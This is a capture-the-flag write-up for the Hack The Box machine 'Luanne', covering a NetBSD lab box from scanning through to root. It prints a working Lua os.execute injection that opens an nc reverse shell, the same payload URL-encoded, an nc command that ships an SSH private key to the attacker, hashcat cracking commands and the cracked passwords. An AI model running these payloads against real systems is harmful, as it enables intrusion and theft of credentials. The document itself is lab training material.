Luanne was the fifth and final single taken from album 4 by the band Foreigner, Luanne is the niece-in-law of Hank Hill from the animated series King of the Hill and many more. Even though Luanne has a few things to cover on the internet this box has nothing to do with any of it. One thing that sticks with Luanne was Lua.

As always Nmap was done and it was a confusing result.

Nmap scan report for 10.10.10.218
Host is up (0.19s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey: 
|   3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
|   521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_  256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp   open  http    nginx 1.19.0
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=.
| http-robots.txt: 1 disallowed entry 
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open  http    Medusa httpd 1.12 (Supervisor process manager)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd

Few things to note from the result, it was running NetBSD and has got a 9001 port with a Medusa httpd. Without wasting much time both ports 80 & 9001 were checked.

hackthebox luanne | htb luanne

Surprisingly both gave the same stuff, but there was a difference with the errors triggered with invalid credentials. Port 9001 was running a service that was not heard before and proper reading on behalf of the service was not avoidable. Most of the services with login functionality are packed with default logins, it was the same for Supervisor process manager.The supervisor documentation had the default credentials, user:123, and these credentials gave access to the dashboard and following the process link made a connection with the box. Luanne was backed by Lua. Lua is a lightweight, high-level, multi-paradigm programming language designed primarily for embedded use in applications.

hackthe box luanne dashboard | htb luanne

.*process.*$ 
_httpd     17473  0.0  0.0  35256  2332 ?     I    11:18PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www 
_httpd     22974  0.0  0.0  35256  2332 ?     I     3:04PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www 
_httpd     25499  0.0  0.0  35256  2332 ?     I     5:44PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www 
_httpd     27626  0.0  0.0  35256  2328 ?     I     5:45PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www 
root         421  0.0  0.0  19780  1580 ttyE1 Is+  Sat01PM 0:00.00 /usr/libexec/getty Pc ttyE1 
root         388  0.0  0.0  19780  1584 ttyE2 Is+  Sat01PM 0:00.00 /usr/libexec/getty Pc ttyE2 
root         433  0.0  0.0  19780  1584 ttyE3 Is+  Sat01PM 0:00.00 /usr/libexec/getty Pc ttyE3

After keeping a note on the above list of processes, the next part was finding something to exploit. After roaming in and out google for medusa exploits and the dashboard for a possible entry point to the box, with no virtual hosts to lead ahead, it was time for a directory brute-forcing. The result was interesting with robots.txt,robots.txt can sometimes provide valid endpoints since this file is used to disallow crawlers from crawling. Robots.txt had a new path /weather and a comment that /weather is returning 404 but still harvesting cities. Brute-forcing /weather endpoint with wordlists available in the seclists repository had a forecasting path,/weather/forecast. Accessing /weather/forecast made a new JSON response with a parameter city and a value list.

{"code": 200, "message": "No city specified. Use 'city=list' to list available cities."}

The new URL was http://10.10.10.218/weather/forecast?city=list. With the parameter and value, it looked like a possible way to an RCE. The URL showed listed cities that can be queried for the weather report.

{"code": 200,"cities": ["London","Manchester","Birmingham","Leeds","Glasgow","Southampton","Liverpool","Newcastle","Nottingham","Sheffield","Bristol","Belfast","Leicester"]}

Parameters are always a potential candidate for RCE, but ls as the value didn’t list the files. Sometimes it won’t return anything and with that in mind, a reverse shell payload was created. The payload has to be specific to NetBSD, and it was different from the bash oneliner for Linux.Payload All Things has all the payloads required for penetration testing.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4242 >/tmp/f

The initial check with ls command proved that it was not executing anything, and hence the above payload didn’t work. Luanne was a NetBSD system and it was running Lua, so the approach has to be revamped. This was the first time with Lua, so a proper reading was required. A blog published by Syshunt had all the information needed to proceed. The payload was using os.execute that will execute an OS command similar to python -c 'import os; os.system("/bin/sh")'.

');os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> 4444 >/tmp/f")--

' & ) were used concerning the information from the blog. The above payload has to be URL encoded.http://10.10.10.218/weather/forecast?city=%27%29%3Bos.execute%28%22rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20<ip>%204444%20%3E%2Ftmp%2Ff%22%29-- Accessing the URL with a Netcat listener running gave back the reverse shell. The usual python TTY shell upgrade didn’t work here, a normal shell with no tab completions. It was really difficult to move around without a TTY shell, but it was not impossible.

The shell gave access to the machine as an httpd user, but shell access with higher privilege was required to grab the user.txt.Listing the users with home ls /home showed the user was r.michaels. Escalation was not a big task, listing all the files including the hidden files in the /var/www/ directory had .htpassword file with a password hash.

$ ls -a
.
..
.htpasswd
index.html
robots.txt
$ cat .htpasswd
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0

Hash delivered in hack the box is normally crackable with a rockyou.txt file and hashcrack/john the ripper. Example hashes listed in the hashcat page proved that the hash was md5crypt. md5crypt can be cracked with mode 500. The command to crack the password was

 $ hashcat -m 500 -a 0 hashes rockyou.txt

-m 500 defines the md5crypt
-a 0 defines dictionary attack
hashes defines hash for the webapi_user
rockyou.txt defines the wordlist used for cracking

The cracked password was iamthebest.When new user creds are found, note that. Every piece of information is vital and credentials will help. That’s how all boxes are built. The process list that was fetched from the dashboard showed a port 3000 was alive on the localhost. The localhost should be accessible, from the box, but curling localhost returned a 401 Unauthorized error.

curl  http://localhost:3001

With the new password in the pocket, accessing the unauthorized won’t be a problem. This was confirmed since switching the user to web_api was not working with doas, doas is a sudo alternative in NetBSD. Connecting every piece of information is important. With curl --user, the credentials can be passed to the localhost.

$ doas webapi_user
doas: Operation not permitted
$ curl --user webapi_user:iamthebest http://localhost:3001

The above curl command returned the home page of the weather forecast. This means there was more to dig with these credentials. But how?

The local port was running the same weather forecasting application, but the shell was returned in /var/www. Two different locations for the same stuff. Exploiting the same vulnerability is not seen wild in hack the box, hence there was no point in checking the RCE with the credentials. But with no other leads, it was better to go for it. And the result was disappointing, even with the credentials in place, the RCE was not triggered.

Connecting previous dots..!Process list from the dashboard lead to the localhost, so it should lead to more clues. Manuals are always a gold mine when we are stuck at something. The process had an entry similar to the below.

_httpd 17473 0.0 0.0 35256 2332 ? I 11:18PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www

Going after the /usr/libexec/httpd in the internet.The documentation for the httpd was available in the httpd manpage. The httpd program was called bozohttpd, and the bozohttpd manual was the right one. If the program or the application is not familiar to you, it is better to read the manual, RTFM !!! The manual had definitions for the parameters.

-u Enables the transformation of Uniform Resource Locators of the form /~user/ into the directory ~user/public_html
-X Enables directory indexing
-s Forces logging to be set to stderr always
-i Causes address to use used as the address to bind daemon mode
-I Causes bozohttpd to use port instead of the default http port
-L Adds a new Lua script for a particular prefix
-U Causes bozohttpd to switch to the user and the groups of username after initialization
-b Enables daemon mode, where bozohttpd detaches from the current terminal, running in the background and servicing HTTP requests

Two of the above pieces of information were useful. Options for directory indexing and the transformation of Uniform Resources Locators of the form /~user. Directory indexing will index the files available in /~user as per the other flag. The user with higher privileges was already enumerated, r.michael.

$ curl --user webapi_user:iamthebest localhost:3001/~r.michaels/
<SNIP>
<tr><td><a href="../">Parent Directory</a><td>16-Sep-2020 18:20<td align=right>1kB
<tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB
<SNIP>

From the above results, it was clear an SSH key will help grab the user.txt. For later use it is better to copy the keys to the attacking machine.

Vulnerable Machine
$ curl --user webapi_user:iamthebest localhost:3001/~r.michaels/id_rsa > /tmp/keys
$ nc -w 3 10.10.14.123 1234 < /tmp/keys
Attacking machine
$ nc -lvnp 1234 > keys
$ chmod 400 keys
$ ssh -i sshkey [email protected]

The key file needs to be readable only by the user who is using it. That was the reason for changing the key permission to 400. After accessing Michael’s home directory, the user.txt can be grabbed. The next part was privilege escalation. Since the box was NetBSD, the initial thought was to search for NetBSD privilege escalation. That didn’t go well as planned and the usual checks for Sudo privileges and running processes were not worth the time since it was SSH shell and processes gave the shell. Once a piece of information has given the shell, usually, it won’t do anything else moving forward. Enumerating the home directory revealed three more directories and an encrypted file at /home/r.michaels/backups.

luanne$ ls -a
.            .gnupg       .profile     backups      user.txt
..           .login       .shrc        devel
.cshrc       .logout      .ssh         public_html

The encrypted file was a bit odd, but there was no information regarding the decryption process. Encrypted file in the backups and a GnuPG directory, connect the dots!

GnuPG is a complete and free implementation of the OpenPGP standard as defined by RFC4880 (also known as PGP). GnuPG allows you to encrypt and sign your data and communications; it features a versatile key management system, along with access modules for all kinds of public key directories.

GnuPG allows to encrypt and sign data & communications. Right now the files in /home/r.michaels/backups are encrypted and to read the data, files have to be decrypted. But how ..? RTFM !! It is better to look for OS-specific manuals, that might avoid a few errors.NetBSD manpage had the manual for another program named netpgp.

The netpgp command can digitally sign files and verify that the signatures attached to files were signed by a given user identifier. netpgp can also encrypt files using the public or private keys of users and, in the same manner, decrypt files that were encrypted.

luanne$ netpgp --decrypt --output=decrypted.tar.gz \
devel_backup-2020-09-16.tar.gz.enc
dd.tar.gz: Permission denied
dd.tar.gz: Permission denied

Even though michaels had the privilege to read the user.txt, michaels had no privilege to create files in the home directory. The attacker or tester should be aware of the file structure of the vulnerable machine. Since the home directory had no privileges /tmp directory can be used to create files./tmp and /var/tmp have read, write and execute rights for all. With that privilege, the decryption can be done in the /tmp directory.

cp /home/r.michaels/backups/devel_backup-2020-09-16.tar.gz.enc /tmp
cd /tmp
netpgp --decrypt --output=devel_backup-2020-09-16.tar.gz devel_backup-2020-09-
16.tar.gz.enc

Decryption process created a tar.gz file that has to be extracted using the tar cli tool.

luanne$ tar xvzf decrypted.tar.gz
x devel-2020-09-16/
x devel-2020-09-16/www/
x devel-2020-09-16/webapi/
x devel-2020-09-16/webapi/weather.lua
x devel-2020-09-16/www/index.html
x devel-2020-09-16/www/.htpasswd

There was a new hash in the .htpassword file. The hash was cracked using the same command that was used previously for webapi_user at the initial stage. The cracked password was littlebear, and to switch user doas was used.

luanne$ doas su
Password:
sh: Cannot determine current working directory
# id
uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),
3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm)

Luanne was rooted, but the connection between Luanne and the weather was interesting. As mentioned at the beginning of this writeup,Luanne is the niece-in-law of Hank Hill from the animated series King of the Hill, and digging more on that Luanne was regarded as a weather girl in that series. Looks like there was indeed a connection. Thumbs up for that !!